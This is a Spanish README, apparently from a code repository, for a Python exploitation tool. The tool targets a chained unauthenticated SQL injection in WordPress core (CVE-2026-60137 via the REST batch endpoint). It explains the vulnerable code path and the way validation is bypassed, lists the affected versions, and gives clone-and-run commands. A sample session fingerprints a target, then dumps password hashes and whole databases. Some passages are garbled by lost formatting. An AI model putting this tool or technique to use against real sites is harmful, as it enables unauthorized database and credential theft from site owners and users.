
wpsqli extractor completo de SQLi + volcador para CVE-2026-60137
Una herramienta rápida de extracción de bases de datos basada en menús que explota la vulnerabilidad de inyección SQL
author__not_inen el núcleo de WordPress. Esta herramienta se centra exclusivamente en la enumeración y el volcado de bases de datos, utilizando la confusión de rutas del endpoint REST por lotes (CVE-2026-63030) para alcanzar el sumidero SQLi sin autenticación.
wpsqli es una herramienta escrita en Python puro diseñada para explotar una vulnerabilidad encadenada en el núcleo de WordPress que permite una inyección SQL no autenticada en la base de datos. Evita la validación de la API REST de WordPress mediante un error de confusión en las rutas del endpoint por lotes, enviando una cadena de carga útil cruda directamente al sumidero SQL de WP_Query.
Esta herramienta está diseñada para ser rápida y flexible: intenta automáticamente la extracción in-band basada en UNION (instantánea), recurre a la extracción boolean-blind paralela con 8 hilos y, finalmente, a la extracción secuencial basada en tiempo si es necesario.
Esta herramienta encadena dos vulnerabilidades independientes para lograr la extracción no autenticada de la base de datos:
author__not_in (CVE-2026-60137)Ubicación: wp-includes/class-wp-query.php, WP_Query::get_posts()
El parámetro author__not_in solo aplica la sanitización absint() si la entrada es un array. Si se pasa una cadena, se omite la comprobación is_array(), la cadena pasa a través de implode() sin cambios y se concatena cruda en la cláusula SQL $where.
// Línea 2404: la comprobación solo se activa para ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Línea 2408: la cadena pasa directamente
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Línea 2409: interpolación cruda
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
El endpoint de entradas de la API REST asigna author_exclude a author__not_in, pero lo declara como type => 'array' de enteros, por lo que el núcleo coacciona/rechaza una cadena. El Bug B introduce de contrabando la cadena más allá de la validación abusando de un error de desincronización en el endpoint por lotes de REST (/wp-json/batch/v1). Al inyectar un iniciador de ruta malformado que wp_parse_url() rechaza, se introduce un WP_Error en la lista de solicitudes del lote, desincronizando $matches de $validation. Esto permite que una sub-solicitud posterior se envíe bajo el manejador incorrecto sin validación de parámetros.
| Rango de Versiones | Estado |
|---|---|
| 6.8.0 – 6.8.5 | Bug SQLi presente, pero la cadena NO es alcanzable (la confusión por lotes se introdujo en 6.9.0) |
| 6.9.0 – 6.9.4 | VULNERABLE — cadena completa sin autenticación |
| 7.0.0 – 7.0.1 | VULNERABLE — cadena completa sin autenticación |
| 6.8.6 | Parcheado (SQLi) |
| 6.9.5 | Parcheado |
| 7.0.2 | Parcheado |
| 7.1-beta2+ | Parcheado |
Advertencia: El sumidero SQLi solo se alcanza cuando NO se utiliza una caché de objetos persistente (Redis/Memcached).
pip install.wp_posts para extraer cadenas completas en una única solicitud HTTP (instantánea).Ctrl+C durante la extracción detiene la consulta actual y devuelve resultados parciales sin bloquear la sesión.ID|user_login|user_pass con hashes bcrypt listos para hashcat -m 35500.No se requiere instalación. Solo descargue y ejecute:
# Clonar el repositorio
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navegar al directorio
cd CVE-2026-60137
# Ejecutar
python main.py
Requisitos:
Lance el menú interactivo:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONEXIÓN
0. Conectar / Cambiar objetivo
1. Comprobar objetivo (versión + confirmación de vulnerabilidad)
------------------------------------------------------------
HUELLA DIGITAL
2. Versión de MySQL (@@version)
3. Nombre de la base de datos actual
4. Usuario actual de la base de datos
5. Prefijo de tablas de WordPress
6. Volcar wp_users (ID, login, hash de contraseña)
7. Consulta SQL personalizada
8. Extraer todas las huellas digitales (2+3+4+5)
------------------------------------------------------------
ENUMERACIÓN
9. Listar todas las bases de datos
10. Listar todas las tablas (base de datos actual)
11. Listar columnas de una tabla
------------------------------------------------------------
VOLCADO
12. Volcar una tabla específica
13. Volcar todas las tablas (base de datos actual)
14. Volcado completo a archivo (todas las tablas + todas las filas)
------------------------------------------------------------
15. Salir
============================================================
Elección: 0
Objetivo (https://example.com): https://target.com
¿Omitir verificación TLS? (s/N):
Retardo de espera para basado en tiempo (por defecto 3):
[*] Conectando a https://target.com ...
[+] Endpoint por lotes: https://target.com/wp-json/batch/v1
[*] Versión de WordPress: 6.9.4 VULNERABLE
[*] Probando extracción basada en UNION ...
[!] UNION no disponible — probando boolean blind (8 hilos paralelos) ...
[+] Modo boolean-blind activo (8 hilos, ~7 solicitudes/carácter)
[+] Basado en tiempo también funciona (0.69s vs 3.78s)
| Opción | Descripción |
|---|---|
0 | Conectar a un objetivo (sanitiza las URLs automáticamente) |
1 | Verificar la vulnerabilidad y el modo de extracción activo |